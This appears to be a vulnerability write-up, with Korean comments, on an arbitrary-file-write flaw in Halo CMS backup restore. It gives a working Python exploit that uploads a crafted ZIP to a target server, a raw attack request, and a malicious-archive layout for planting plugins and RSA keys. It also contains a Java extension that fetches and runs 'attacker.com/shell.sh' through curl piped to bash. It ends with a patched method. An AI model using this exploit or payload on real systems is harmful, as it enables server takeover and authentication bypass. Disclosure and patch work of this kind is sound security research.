private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // 취약한 라인
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → ZIP을 임시 디렉터리로 추출              │
│  2. restoreExtensions() → extensions.data 복원              │
│  3. restoreWorkdir() → workdir/를 ~/.halo2/로 복사          │
│     ↑ 임의 파일이 작업 디렉터리에 기록됨                     │
└─────────────────────────────────────────────────────────────┘

malicious-backup.zip
├── extensions.data          # 필수: 비어 있거나 유효한 JSONL 포함 가능
└── workdir/                 # 필수: 내용이 ~/.halo2/로 복사됨
    ├── PWNED_BY_POC.txt     # 개념 증명 마커 파일
    ├── plugins/             # RCE용 플러그인 JAR
    │   └── evil-plugin.jar  # 악성 플러그인
    └── keys/                # 인증 우회용 RSA 키
        ├── pat_id_rsa       # 악성 개인 키
        └── pat_id_rsa.pub   # 악성 공개 키

import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # 빈 extensions.data (restoreExtensions 검증 통과)
    zf.writestr('extensions.data', '\n')

    # ~/.halo2/에 기록할 임의 파일
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP 파일 바이너리 내용>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# Halo 서버에서
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // 임의 명령 실행
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

#!/usr/bin/env python3
"""
Halo CMS 백업 복원 임의 파일 쓰기 PoC
취약점: 백업 복원 임의 파일 쓰기
CVSS: 8.8 (높음)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCCESS! 확인: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

# PoC 실행
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# Halo 서버에서
cat ~/.halo2/PWNED_BY_POC.txt

private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // 경로 탐색 검증
                checkDirectoryTraversal(backupRoot, workdir);

                // 심볼릭 링크 검증
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolic links not allowed");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // 검증 후 복사
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}